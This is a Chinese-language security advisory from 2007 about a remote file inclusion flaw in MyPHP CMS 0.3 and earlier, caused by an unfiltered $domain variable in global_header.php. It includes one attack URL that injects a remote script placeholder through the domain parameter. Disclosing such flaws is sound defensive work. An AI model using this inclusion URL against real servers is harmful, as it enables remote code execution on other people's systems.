MyPHP CMS global_header.php远程文件包含漏洞

| 网站首页 | 模板 | 资料 | 源码 | 工具 | 开发 | 设计 | 安全 | 项目 | 网络 | 图片 | 系统 | 数据库 | 博客 | 会员中心 | 小说 |

网络学院

学习资料

源码模版

您现在的位置：精品下载 >> 安全 >> 网络安全 >> 安全中心正文

用户登录

新用户注册

MyPHP CMS global_header.php远程文件包含漏洞

【字体：小大】

MyPHP CMS global_header.php远程文件包含漏洞

作者：佚名安全中心来源：不详点击数：更新时间：2007-10-10

涉及程序：
MyPHP CMS global_header.php

描述：
MyPHP CMS global_header.php远程文件包含漏洞

详细：
MyPHP CMS是基于PHP的开放源码内容管理系统。

MyPHP CMS实现上存在输入验证漏洞，远程攻击者可能利用此漏洞在服务器上执行任意命令。

在MyPHP CMS的global_header.php文件中没有正确地检查过滤$domain变量，如果register_globals=on的话，远程攻击者就可以利用简单的PHP代码注入脚本执行任意命令。

<*来源：Kw3[R]Ln （ciriboflacs@YaHoo.Com）

链接：（http://www.milw0rm.com/exploits/1983
*>

受影响系统：
MyPHP CMS MyPHP CMS <= 0.3

攻击方法：
警告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

（http://www.site.com/[path]/styles/default/global_header.php?installed=23&domain=[Evil_Script]

解决方案：
厂商补丁：

MyPHP CMS
---------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

（http://sourceforge.net/projects/myphpcms

安全中心录入：chqnet 责任编辑：chqnet

上一个安全中心： Invision Power Board index.php act参数远程SQL注入漏洞

下一个安全中心： WordPress错误paged参数SQL操作信息泄露漏洞

【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口】

最新热点		最新推荐		相关安全中心
				FreeType TTF文件远程溢出漏… Moodle moodle.php远程文件包… SiteDepth CMS constants.ph… MySQL Server date_format()… Invision Power Board index… Zorum index.php多个参数SQL… PHP error_log()安全模式限制… DreamAccount index.php远程… MailEnable SMTP HELO命令远… PHPMySMS gateway.php远程文…

　网友评论：（只显示最新10条。评论内容只代表网友观点，与本站立场无关！）